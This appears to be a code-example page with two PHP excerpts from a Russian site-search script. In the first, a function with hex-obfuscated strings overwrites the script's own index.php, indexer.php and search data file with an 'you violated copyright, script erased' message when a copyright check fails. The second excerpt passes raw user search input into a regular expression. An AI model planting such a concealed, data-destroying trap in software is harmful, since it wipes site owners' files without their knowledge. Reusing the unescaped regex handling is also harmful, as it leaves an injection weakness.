Beispiel #1
0
function PHPruRw()
{
	$mes = new PHPruSap;
	$target = array ('index.php','indexer.php','sdata/search.php');
	$new = "\xC2\xFB \xED\xE0\xF0\xF3\xF8\xE8\xEB\xE8 \xE0\xE2\xF2\xEE\xF0\xF1\xEA\xEE\xE5 \xEF\xF0\xE0\xE2\xEE.<\x42\x52>";
	$new .= "\xD1\xEA\xF0\xE8\xEF\xF2 ".$mes->ink." \xF1\xF2\xE5\xF0\xF2\x21";
	if (!function_exists("\x50\x48\x50\x72\x75\x53\x65\x61\x72\x63\x68"))	{
		foreach($target as $crash)
			PHPruSave($new,$crash);
		echo $new;
		exit('</BODY></HTML>');
	}	else	{
		if(PHPruSearch('..','rus') == '')	{
			$var = new PHPruSap;?>
			<?=$var->all.$var->pattern."'\x3E".$var->ink.$var->sfx;
		}	else	{
			foreach($target as $crash)
				PHPruSave($new,$crash);
			echo $new;
			exit('</BODY></HTML>');	}
	}
}
Beispiel #2
0
<BR>Слишком короткие запросы не обрабатываются. Используйте не менее 3 символов.
<BR><BR>
</TD></TR>
</TABLE>
<?
	exit;
}
$searchstring = trim($_POST["query"]);
$searchword = explode (" ",$searchstring); // массив строки запроса
$allwords = count($searchword); // сколько слов в запросе

##################################################################

$FILE = file('sdata/search.php');
$count = count($FILE);
PHPruSearch('..','rus');
for ($x = 0; $x < $count; $x++) // выбираем файл
{
	list($filename,$filesize,$content,$modify) = explode('^!^',$FILE[$x],4);
	$temp = explode('%^%',$content);
	$true = $find = $full_result = $long = 0;
	$sizetotal += $filesize;
		
	foreach($temp as $key => $value) // выбираем строку
	{
		if($allwords > 1) // если более одного слова в запросе
		{
			if(preg_match_all("/".$searchstring."/i", $value, $ok, PREG_PATTERN_ORDER))
				$new = str_replace($ok[0][0],'<FONT COLOR='.trim($CONFIG[2]).'>'.trim($CONFIG[6]).$ok[0][0].'</FONT>'.trim($CONFIG[7]), $value);
			else
				$new = $value;